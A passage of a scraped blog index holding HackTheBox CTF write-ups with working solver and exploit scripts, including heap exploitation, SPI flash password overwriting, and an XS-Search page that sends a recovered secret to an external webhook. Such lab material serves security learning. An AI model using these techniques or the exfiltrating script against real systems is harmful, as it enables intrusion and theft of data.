1, chr(second_lsb).encode()) log.info(\u0026#39;Lots of frees\u0026#39;) for i in range(0xff): new_note(p, 100, b\u0026#39;A\u0026#39;) remove_note(p, 1) log.info(\u0026#39;Printing Flag...\u0026#39;) p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;1337\u0026#39;) flag = p.recvline().decode() p.close() return flag except Exception as e: log.error(f\u0026#39;Error in exploit: {e}\u0026#39;) return None def main(): if len(sys.argv) \u0026lt; 3: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt; \u0026lt;count\u0026gt;\u0026#39;) sys.exit(1) count = int(sys.argv[2]) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) port = int(port) with concurrent.futures.ThreadPoolExecutor(max_workers=count) as executor: futures = [executor.submit(exploit_process, host, port) for _ in range(count)] for future in concurrent.futures.as_completed(futures): try: result = future.result() if result: log.success(f\u0026#39;Successful Flag: {result}\u0026#39;) except Exception as e: log.error(f\u0026#39;Exploit task failed: {e}\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: main() It takes several attempts, but setting the Count to 100 should do the trick in about 5 minutes.\nSummary Wizard\u0026rsquo;s Diary: calculate the overflow offset, redirect control flow, and land a reliable flag read.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Wizards-Diary-Challenge/","protected":null,"snippet":"Wizard's Diary: calculate the overflow offset, redirect control flow, and land a reliable flag read.","tags":["htb","pwn","bof","linux"],"title":"HackTheBox Wizard's Diary Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/663\nDescription As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door\u0026rsquo;s secrets?\nExploitation #!/usr/bin/python3 import socket,sys if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) port = int(port) input_data = b\u0026#39;\\x00\u0026#39; * 7 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) initial_data = s.recv(1024) print(\u0026#39;Received:\u0026#39;, initial_data.decode()) s.sendall(input_data) response = s.recv(1024) print(\u0026#39;Response:\u0026#39;, response.decode()) while True: try: more_data = s.recv(1024) if not more_data: break print(more_data.decode(), end=\u0026#39;\u0026#39;) except: break Summary Writing on the Wall: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Writing-on-the-Wall-Challenge/","protected":null,"snippet":"Writing on the Wall: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Writing on the Wall Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-YALM-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","rsa","lattice"],"title":"HackTheBox YALM Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/260\nDescription We discovered a mysterious web portal that we believe are operated by aliens! Can you find out what they don\u0026rsquo;t want us to see?\nExploitation Use a webhook service like https://app.interactsh.com/, a VPS with a public port, or a tunneling service to expose the service.\nindex.html\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; flag_charset = \u0026#34;}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$()*,-[]_}\u0026#34;; var flag = \u0026#34;HTB{\u0026#34;; var charIndex = 0; const bruteForce = () =\u0026gt; { var script = document.createElement(\u0026#34;script\u0026#34;); script.src = `//127.0.0.1:1337/api/entries/search?q=${flag}${flag_charset.charAt(charIndex)}`; document.body.appendChild(script); script.onload = () =\u0026gt; { flag += flag_charset.charAt(charIndex); charIndex = 0; script.parentNode.removeChild(script); if (flag.slice(-1) != \u0026#39;}\u0026#39;) { bruteForce(); } else { img = new Image(); img.src = \u0026#39;https://webhook.com?flag=\u0026#39; + flag; // \u0026lt;-- WebHookUrl } }; script.onerror = () =\u0026gt; { script.parentNode.removeChild(script); charIndex += 1; bruteForce(); }; }; bruteForce(); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; python -m http.server ssh -R 80:localhost:8000 localhost.run Send the tunnel HTTP URL in the Abusive Content URL and check your webhook.\nSummary AbuseHumanDB: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-AbuseHumanDB-Challenge/","protected":null,"snippet":"AbuseHumanDB: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox AbuseHumanDB Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/284\nDescription A client asked me to check if I can intercept the https request and get the value of the secret parameter that is passed along with the user\u0026rsquo;s email. The application is intended to run in a non-rooted device. Can you help me find a way to intercept this value in plain text.\nExploitation Use jadx-gui to decompile and look at the code or decompiled using www.javadecompilers.com, reveals MainActivity.java from the com.example.anchored package. It utilizes native methods (frf(), prp(), mrm()) linked to libanchored.so to construct HTTP request parameters.\nThe Java_com_example_anchored_MainActivity_frf function in libanchored.so applies XOR encryption using specific byte constants (e.g., 0x0012d0c9 for t and 0x0012d0cb for u). Decryption can be performed using the known XOR keys (local_e8) and encrypted data (local_198), which can be simulated with a Python script.\n#!/usr/bin/python3 from pwn import xor def xor(data, key): return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) ct = b\u0026#39;t%u9t8?M/~bx\u0026amp;uz-ebtux8\u0026#39; key = b\u0026#39;!K!K!KK~K!!KT!KKT!@!KK\u0026#39; decrypted_text = xor(ct, key) print(\u0026#34;Decrypted Text: HTB{\u0026#34; + decrypted_text.decode() + \u0026#34;}\u0026#34;) Summary Ancored: inspect the Android app, trace the validation path, and recover the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Ancored-Challenge/","protected":null,"snippet":"Ancored: inspect the Android app, trace the validation path, and recover the flag.","tags":["htb","mobile","android"],"title":"HackTheBox Ancored Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/714\nDescription Not too long ago, your cyborg detective friend John Love told you he heard some strange rumours from some folks in the Establishment that he's searching into. They talked about the possible discovery of a new vault, vault 79, which might hold a big reserve of gold. Hearing of these news, youband your fellow compatriots slowly realized that with that gold reserver you could accomplish your dreams of reviving the currency of old times, and help modern civilization flourish once more. Looking at the potential location of the vault however, you begin to understand that this will be no easy task. Your team by itself is not enough. You will need some new recruitments. Now, standing in the center of Gigatron, talking and inspiring potential recruits, you have collected a big list of candidates based on skills you believe are needed for this quest. How can you decide however which ones are truly worthy of joining you?\nExploitation #!/usr/bin/python3 import re from pwn import * def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def get_candidates(file_path): pattern = r\u0026#34;^\\s*([A-Za-z]+)\\s+([A-Za-z]+)\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)\\s*$\u0026#34; candidates = [] with open(file_path, \u0026#39;r\u0026#39;) as f: for line in f.readlines(): match = re.search(pattern, line.strip()) if match: candidates.append(match.groups()) return candidates def calculate_values(candidates): weights = {\u0026#39;Health\u0026#39;: 0.18, \u0026#39;Agility\u0026#39;: 0.20, \u0026#39;Charisma\u0026#39;: 0.21, \u0026#39;Knowledge\u0026#39;: 0.08, \u0026#39;Energy\u0026#39;: 0.17, \u0026#39;Resourcefulness\u0026#39;: 0.16} data = [] for candidate in candidates: first_name, last_name, health, agility, charisma, knowledge, energy, resourcefulness = candidate skill_scores = { \u0026#39;Health\u0026#39;: round(6 * (int(health) * 0.2)) + 10, \u0026#39;Agility\u0026#39;: round(6 * (int(agility) * 0.3)) + 10, \u0026#39;Charisma\u0026#39;: round(6 * (int(charisma) * 0.1)) + 10, \u0026#39;Knowledge\u0026#39;: round(6 * (int(knowledge) * 0.05)) + 10, \u0026#39;Energy\u0026#39;: round(6 * (int(energy) * 0.05)) + 10, \u0026#39;Resourcefulness\u0026#39;: round(6 * (int(resourcefulness) * 0.3)) + 10 } overall_value = round(5 * (skill_scores[\u0026#39;Health\u0026#39;] * weights[\u0026#39;Health\u0026#39;] + skill_scores[\u0026#39;Agility\u0026#39;] * weights[\u0026#39;Agility\u0026#39;] + skill_scores[\u0026#39;Charisma\u0026#39;] * weights[\u0026#39;Charisma\u0026#39;] + skill_scores[\u0026#39;Knowledge\u0026#39;] * weights[\u0026#39;Knowledge\u0026#39;] + skill_scores[\u0026#39;Energy\u0026#39;] * weights[\u0026#39;Energy\u0026#39;] + skill_scores[\u0026#39;Resourcefulness\u0026#39;] * weights[\u0026#39;Resourcefulness\u0026#39;])) data.append((f\u0026#34;{first_name} {last_name}\u0026#34;, overall_value)) return data def sort_candidates(data): return sorted(data, key=lambda x: x[1], reverse=True)[:14] def get_flag(sorted_candidates): io = get_process() solution = \u0026#39;, \u0026#39;.join(f\u0026#34;{name} - {score}\u0026#34; for name, score in sorted_candidates) io.recvuntil(b\u0026#39;\u0026gt; \u0026#39;) io.sendline(solution.encode()) flag = io.recvall().decode().strip() return flag if __name__ == \u0026#39;__main__\u0026#39;: file_path = \u0026#39;data.txt\u0026#39; candidates = get_candidates(file_path) calculated_values = calculate_values(candidates) sorted_candidates = sort_candidates(calculated_values) flag = get_flag(sorted_candidates) print(flag) Summary Computational Recruting: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Computational-Recruting-Challenge/","protected":null,"snippet":"Computational Recruting: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Computational Recruting Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/693\nDescription You managed to intercept a message between two event organizers. Unfortunately, it\u0026rsquo;s been compressed with their proprietary message transfer format. Luckily, they\u0026rsquo;re gamemakers first and programmers second - can you break their encoding?\nExploitation #!/usr/bin/python3 import struct def read_serialized_data(filepath): char_map = {} with open(filepath, \u0026#39;rb\u0026#39;) as f: for char_code in range(256): list_len_bytes = f.read(8) if not list_len_bytes: break list_len = struct.unpack(\u0026#39;Q\u0026#39;, list_len_bytes)[0] positions = [] for _ in range(list_len): pos_bytes = f.read(8) if pos_bytes: pos = struct.unpack(\u0026#39;Q\u0026#39;, pos_bytes)[0] positions.append(pos) if positions: char_map[char_code] = positions return char_map def reconstruct_message(char_map): max_pos = max(pos for positions in char_map.values() for pos in positions) message = [\u0026#39;\\x00\u0026#39;] * (max_pos + 1) for char_code, positions in char_map.items(): for pos in positions: message[pos] = chr(char_code) return \u0026#39;\u0026#39;.join(message) def main(): char_map = read_serialized_data(\u0026#39;message.txt.cz\u0026#39;) message = reconstruct_message(char_map) print(f\u0026#34;Decoded message:\\n{message}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Crushing: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Crushing-Challenge/","protected":null,"snippet":"Crushing: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Crushing Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/79\nDescription Customers of secure-startup.com have been recieving some very convincing phishing emails, can you figure out why?\nExploitation use dig to query the TXT record:\ndig TXT secure-startup.com _dmarc.secure-startup.com Summary Easy Phish: correlate the public clues, pivot through the evidence, and identify the final answer.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Easy-Phish-Challenge/","protected":null,"snippet":"Easy Phish: correlate the public clues, pivot through the evidence, and identify the final answer.","tags":["htb","osint"],"title":"HackTheBox Easy Phish Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/407\nDescription This Spooky Time of the year, what\u0026rsquo;s better than watching a scary film on the TV? Well, a lot of things, like playing CTFs but you know what\u0026rsquo;s definitely not better? Something coming out of your TV!\nExploitation #!/usr/bin/python3 from pwn import * def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def exploit(): p = get_process() p.sendlineafter(b\u0026#39;\u0026gt;\u0026gt; \u0026#39;, b\u0026#39;T\u0026#39;) p.sendlineafter(b\u0026#39;\u0026gt;\u0026gt; \u0026#39;, b\u0026#39;S\u0026#39;) p.sendlineafter(b\u0026#39;\u0026gt;\u0026gt; \u0026#39;, p64(13371337)) p.sendlineafter(b\u0026#39;\u0026gt;\u0026gt; \u0026#39;, b\u0026#39;C\u0026#39;) success(f\u0026#39;Flag --\u0026gt; {p.recvline_contains(b\u0026#34;HTB\u0026#34;).strip().decode()}\u0026#39;) p.close() if __name__ == \u0026#34;__main__\u0026#34;: exploit() Summary Entity: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Entity-Challenge/","protected":null,"snippet":"Entity: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Entity Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/801\nDescription On a fog-covered Halloween night, a secure site experienced unauthorized access under the veil of darkness. With the world outside wrapped in silence, an intruder bypassed security protocols and manipulated sensitive areas, leaving behind traceable yet perplexing clues in the logs.\nExploitation Open with wireshark and filter results with:\ntcp.stream eq 3\nHTTP/1.1 302 Found Date: Fri, 13 Sep 2024 21:12:40 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 X-Powered-By: PHP/8.1.25 Location: http://halloweencorp.htb/dashboard/ Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 131 dY9RS8MwFIX/ynUIyWDKZNkYTjdSW/DFKe3Ux0ttbligpjVtGTL2311a58bA+xIO37nnntwtynUJirSxxFkYYBLFb1HMBsDUB+vPTtHrni3lU9RBbCpyZ44XmSTvz3HoHY+rYKuHE1Q3Y1GWI+FGCoVVqHMxwY2oUA8bqy52ZxGhXMlAJu2RdBwsU6W9Ay4/v6uv3MA9WNpAJ/hf3wGc9GvFoUorDqE+yGjgv2FX86ywlrIaybnC9WELfpQh3nvoiCks6NTkpG6hB9fwz+YMdnBkFdWYrVO3fzlraj31P1jMfwA= 0 CyberChef\nSummary Foggy Intrusion: isolate the relevant artifact, decode the evidence, and extract the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Foggy-Intrusion-Challenge/","protected":null,"snippet":"Foggy Intrusion: isolate the relevant artifact, decode the evidence, and extract the flag.","tags":["htb","forensics","pcap","git"],"title":"HackTheBox Foggy Intrusion Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/741\nDescription After travelling for too many light years, we managed to reach an uninhabited planet to rest for a while. We got a problem though. Phalcon is running out of fuel and we need to stop at the nearest space station to refuel. The closest one is the B1-4S3D station, where we are unfortunately banned from docking our ship. Our surveillance showed that the station uses two OCR cameras to read the unique ID of each spaceship entering. The first one is used as a validator for the second one. We\u0026rsquo;ve managed to find a way to disable the validation process for a split second while our ship passes, but we still need to pass through the second camera. Furthermore, our lead hacker opened a connection with the second camera, which we can use to upload our custom model weights. Try to find a way to change the predictions of the model when we pass through the second gate. Be careful though, the other four spaceships that are in front of us need to be ID\u0026rsquo;d correctly so no suspicion raises.\nExploitation Right-click in HDFView, reload as read-write, double-click the bias in Dense 2, set it to -100.0, and save the changes.\n#!/usr/bin/python3 import requests from bs4 import BeautifulSoup import argparse def main(server_address): try: ip, port = server_address.split(\u0026#39;:\u0026#39;) except ValueError: print(\u0026#34;Error: Please provide the server address in the format ip:port\u0026#34;) return url = f\u0026#34;http://{ip}:{port}/\u0026#34; files = {\u0026#39;file\u0026#39;: open(\u0026#39;model.h5\u0026#39;, \u0026#39;rb\u0026#39;)} try: response = requests.post(url, files=files) print(\u0026#34; \u0026gt; Uploaded payload model weights...\u0026#34;) except requests.exceptions.RequestException as e: print(f\u0026#34;Failed to upload payload: {e}\u0026#34;) return try: response = requests.post(url + \u0026#34;dock\u0026#34;) print(\u0026#34; \u0026gt; Docking ship...\u0026#34;) except requests.exceptions.RequestException as e: print(f\u0026#34;Failed to dock ship: {e}\u0026#34;) return soup = BeautifulSoup(response.text, features=\u0026#34;lxml\u0026#34;) flag = soup.find(\u0026#39;p\u0026#39;) print(\u0026#34; \u0026gt; Got flag...\u0026#34;) print(f\u0026#34; \u0026gt; {flag.text}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: parser = argparse.ArgumentParser(description=\u0026#34;Send a file and retrieve a flag from a server.\u0026#34;) parser.add_argument(\u0026#34;server_address\u0026#34;, help=\u0026#34;Server address in the format ip:port\u0026#34;) args = parser.parse_args() main(args.server_address) Summary Fuel Crisis: shape the prompt path, bypass the model guard, and recover the target output.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Fuel-Crisis-Challenge/","protected":null,"snippet":"Fuel Crisis: shape the prompt path, bypass the model guard, and recover the target output.","tags":["htb","ai","tensorflow","prompt-injection","neural-network"],"title":"HackTheBox Fuel Crisis Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/378\nDescription A friend gave you an odd executable file, in fact it is very tiny for a simple ELF, what secret can this file hide?\nExploitation Steps Taken for Binary Modification Using Hexadecimal Editing: Dump the binary to a hexadecimal file for editing: xxd -p golfer \u0026gt; golfer.hex Edit the hexadecimal file: Open golfer.hex in a text editor. Locate and replace the sequence e9d6000000 with e900000000 to modify the binary\u0026rsquo;s behavior. Rebuild the patched binary from the edited hexadecimal file: xxd -r -p golfer.hex golfer.patched Set execute permissions on the new binary: chmod +x golfer.patched Run the patched binary to observe the changes: ./golfer.patched Using radare2: Open the binary with radare2 with relocation adjustments and write permissions: sudo r2 -e bin.relocs.apply=true -w ./golfer Navigate to the specific address and modify the instruction: s 0x0800004c # Seek to the desired address pd 1 # Display the current instruction wao nop # Replace the instruction with NOP pd 1 # Display the modified instruction q # Quit radare2 Execute the modified binary: ./golfer Summary Golfer: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Golfer-Challenge/","protected":null,"snippet":"Golfer: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","elf","linux"],"title":"HackTheBox Golfer Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/804\nDescription We\u0026rsquo;re breaking into the catacombs to find a rumoured great treasure - I hope there\u0026rsquo;s no vengeful spirits down there\u0026hellip;\nExploitation #!/usr/bin/python3 import os import subprocess # Memory data from x/64bc 0x4040 command in gdb memory_data = [ 0x48, 0x00, 0x00, 0x00, # \u0026#39;H\u0026#39; 0x54, 0x00, 0x00, 0x00, # \u0026#39;T\u0026#39; 0x42, 0x00, 0x00, 0x00, # \u0026#39;B\u0026#39; 0x7b, 0x00, 0x00, 0x00, # \u0026#39;{\u0026#39; 0x62, 0x00, 0x00, 0x00, # \u0026#39;b\u0026#39; 0x72, 0x00, 0x00, 0x00, # \u0026#39;r\u0026#39; 0x33, 0x00, 0x00, 0x00, # \u0026#39;3\u0026#39; 0x34, 0x00, 0x00, 0x00, # \u0026#39;4\u0026#39; 0x6b, 0x00, 0x00, 0x00, # \u0026#39;k\u0026#39; 0x31, 0x00, 0x00, 0x00, # \u0026#39;1\u0026#39; 0x6e, 0x00, 0x00, 0x00, # \u0026#39;n\u0026#39; 0x39, 0x00, 0x00, 0x00, # \u0026#39;9\u0026#39; 0x5f, 0x00, 0x00, 0x00, # \u0026#39;_\u0026#39; 0x64, 0x00, 0x00, 0x00, # \u0026#39;d\u0026#39; 0x30, 0x00, 0x00, 0x00, # \u0026#39;0\u0026#39; 0x77, 0x00, 0x00, 0x00, # \u0026#39;w\u0026#39; 0x6e, 0x00, 0x00, 0x00, # \u0026#39;n\u0026#39; 0x5f, 0x00, 0x00, 0x00, # \u0026#39;_\u0026#39; 0x74, 0x00, 0x00, 0x00, # \u0026#39;t\u0026#39; 0x68, 0x00, 0x00, 0x00, # \u0026#39;h\u0026#39; 0x33, 0x00, 0x00, 0x00, # \u0026#39;3\u0026#39; 0x5f, 0x00, 0x00, 0x00, # \u0026#39;_\u0026#39; 0x73, 0x00, 0x00, 0x00, # \u0026#39;s\u0026#39; 0x79, 0x00, 0x00, 0x00, # \u0026#39;y\u0026#39; 0x73, 0x00, 0x00, 0x00, # \u0026#39;s\u0026#39; 0x63, 0x00, 0x00, 0x00, # \u0026#39;c\u0026#39; 0x34, 0x00, 0x00, 0x00, # \u0026#39;4\u0026#39; 0x6c, 0x00, 0x00, 0x00, # \u0026#39;l\u0026#39; 0x6c, 0x00, 0x00, 0x00, # \u0026#39;l\u0026#39; 0x35, 0x00, 0x00, 0x00, # \u0026#39;5\u0026#39; 0x7d, 0x00, 0x00, 0x00 # \u0026#39;}\u0026#39; ] def extract_path_from_memory(memory_data): path_parts = [] current_part = [] for byte in memory_data: if byte == 0x00: if current_part: path_parts.append(\u0026#39;\u0026#39;.join(current_part)) current_part = [] else: current_part.append(chr(byte)) if current_part: path_parts.append(\u0026#39;\u0026#39;.join(current_part)) return path_parts def try_full_path(binary_path, path_parts): try: test_dir = \u0026#34;treasure_hunt\u0026#34; full_test_dir = os.path.join(binary_path, test_dir) os.makedirs(full_test_dir, exist_ok=True) current_path = full_test_dir for part in path_parts: current_path = os.path.join(current_path, part) os.makedirs(current_path, exist_ok=True) result = subprocess.run( [os.path.join(binary_path, \u0026#39;robber\u0026#39;)], capture_output=True, text=True, cwd=full_test_dir ) print(f\u0026#34;Trying full path constructed from memory: {\u0026#39;/\u0026#39;.join(path_parts)}\u0026#34;) print(f\u0026#34;Output: {result.stdout.strip()}\u0026#34;) return \u0026#34;treasure\u0026#34; in result.stdout.lower(), result.stdout.strip() except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) return False, str(e) if __name__ == \u0026#34;__main__\u0026#34;: binary_path = os.getcwd() path_parts = extract_path_from_memory(memory_data) success, output = try_full_path(binary_path, path_parts) if success: print(f\u0026#34;Treasure found with path: {\u0026#39;/\u0026#39;.join(path_parts)}\u0026#34;) else: print(\u0026#34;No treasure found.\u0026#34;) Summary Graverobber: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Graverobber-Challenge/","protected":null,"snippet":"Graverobber: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","gdb","linux"],"title":"HackTheBox Graverobber Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/87\nDescription A Junior Developer just switched to a new source control platform. Can you find the secret token?\nExploitation cd Illumination.JS gitleaks detect -v echo \u0026#39;SFRCe3YzcnNpMG5fYzBudHIwbF9hbV9JX3JpZ2h0P30=\u0026#39; | base64 -d Summary Illumination: isolate the relevant artifact, decode the evidence, and extract the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Illumination-Challenge/","protected":null,"snippet":"Illumination: isolate the relevant artifact, decode the evidence, and extract the flag.","tags":["htb","forensics"],"title":"HackTheBox Illumination Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/83\nDescription Can you find something to help you break into the company \u0026lsquo;Evil Corp LLC\u0026rsquo;. Recon social media sites to see if you can find any useful information.\nAnalysis A Google search for \u0026ldquo;evil corp llc\u0026rdquo; leads to a LinkedIn profile with the base64-encoded string \u0026ldquo;WW91IGNhbiBkbyB0aGlzLCBrZWVwIGdvaW5nISEh\u0026rdquo;. Decoding it reveals: \u0026ldquo;You can do this, keep going!!!\u0026rdquo; The next result directs to Eryn McMahon\u0026rsquo;s Instagram, where one post with numerous comments about the flag stands out. Zooming in on the image uncovers the flag.\nSummary Infiltration: correlate the public clues, pivot through the evidence, and identify the final answer.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Infiltration-Challenge/","protected":null,"snippet":"Infiltration: correlate the public clues, pivot through the evidence, and identify the final answer.","tags":["htb","osint"],"title":"HackTheBox Infiltration Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/780\nDescription We must access the AI module\u0026rsquo;s interface to limit its system permissions and mitigate the cyberpsychosis affecting the city and our team. To achieve this, we need to retrieve some valuable data stored in the module that will enable us to understand its operation. We have identified the integrated circuit (IC) that houses the hashes used in the password verification process, which protects the data. This IC is marked with \u0026ldquo;W25Q128\u0026rdquo; on its package. The next step is to find a way to log into the interface, but the MD5 hash seems uncrackable. Is there any other way to bypass this security measure while having physical access to the designated IC pins? We have configured our FT2232HQ board to communicate with that IC via SPI and have created a client file to enable remote communication with the component.\nExploitation #!/usr/bin/python3 import socket,json,hashlib,sys WRITE_ENABLE = 0x06 SECTOR_ERASE = 0x20 PAGE_PROGRAM = 0x02 PAGE_SIZE = 256 def new_pass(secret_value): hash_object = hashlib.md5() hash_object.update(secret_value.encode()) return list(hash_object.digest()) def write_pages(pages): for page_no, data in enumerate(pages): address = [0x00, page_no, 0x00] packet = [PAGE_PROGRAM] + address + data exchange([WRITE_ENABLE]) exchange(packet) def split_pages(original_list, chunk_size): return [original_list[i:i + chunk_size] for i in range(0, len(original_list), chunk_size)] def exchange(hex_list, value=0): cs = 0 usb_device_url = \u0026#39;ftdi://ftdi:2232h/1\u0026#39; command_data = { \u0026#34;tool\u0026#34;: \u0026#34;pyftdi\u0026#34;, \u0026#34;cs_pin\u0026#34;: cs, \u0026#34;url\u0026#34;: usb_device_url, \u0026#34;data_out\u0026#34;: [hex(x) for x in hex_list], \u0026#34;readlen\u0026#34;: value } with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, int(port))) s.sendall(json.dumps(command_data).encode(\u0026#39;utf-8\u0026#39;)) data = b\u0026#39;\u0026#39; while True: data += s.recv(1024) if data.endswith(b\u0026#39;]\u0026#39;): break response = json.loads(data.decode(\u0026#39;utf-8\u0026#39;)) return response if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) mem_data = exchange([0x03, 0x00, 0x00, 0x00], 4096) from itertools import groupby entries = [list(group) for k, group in groupby(mem_data, lambda x: x == 0) if not k] target_entry = next((sublist for sublist in entries if len(sublist) == 16), None) if target_entry: input_str = \u0026#39; \u0026#39;.join(map(str, mem_data)) target_str = \u0026#39; \u0026#39;.join(map(str, target_entry)) start_pos = input_str.find(target_str) index = input_str[:start_pos].count(\u0026#39; \u0026#39;) else: index = None print(\u0026#34;Target sublist:\u0026#34;, target_entry) print(\u0026#34;Start position in original hash:\u0026#34;, index) new_hash_list = new_pass(\u0026#39;psw\u0026#39;) print(\u0026#39;New hash:\u0026#39;, new_hash_list) part1 = mem_data[:index] part2 = mem_data[index + 16:] new_mem_data = part1 + new_hash_list + part2 new_mem_data = [x for x in new_mem_data if x != 255] pages = split_pages(new_mem_data, PAGE_SIZE) print(f\u0026#39;Program pages with new logs..\u0026#39;) exchange([WRITE_ENABLE]) exchange([SECTOR_ERASE, 0x00, 0x00, 0x00]) write_pages(pages) Connect to the other port using the nc (netcat) and enter the password (psw). The flag will be displayed once the password is entered.\nSummary Override: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Override-Challenge/","protected":null,"snippet":"Override: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","spi","signal"],"title":"HackTheBox Override Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/476\nDescription The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing. One of these tools is quipqiup, an automated tool for frequency analysis and breaking substitution ciphers. This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?\nExploitation #!/usr/bin/python3 def get_plaintext(ciphertext_file): mappings = { \u0026#34;0fbf645baa0ecce12ed52071a4ed0d1d\u0026#34;: \u0026#34;F\u0026#34;, \u0026#34;ce2e2acd1155ac79105dcabcdb4fbbff\u0026#34;: \u0026#34;R\u0026#34;, \u0026#34;d78843699ad962a2a7c513d193d27ab4\u0026#34;: \u0026#34;E\u0026#34;, \u0026#34;9a2f91dbedaa39d9b53f8146c2301098\u0026#34;: \u0026#34;Q\u0026#34;, \u0026#34;3ea6ab81fee5f5c718f48b86e8680732\u0026#34;: \u0026#34;U\u0026#34;, \u0026#34;b403c6f30eec7075d0643b5d4125de1b\u0026#34;: \u0026#34;N\u0026#34;, \u0026#34;9e520d83ca02f81ab980ed7ff9a16526\u0026#34;: 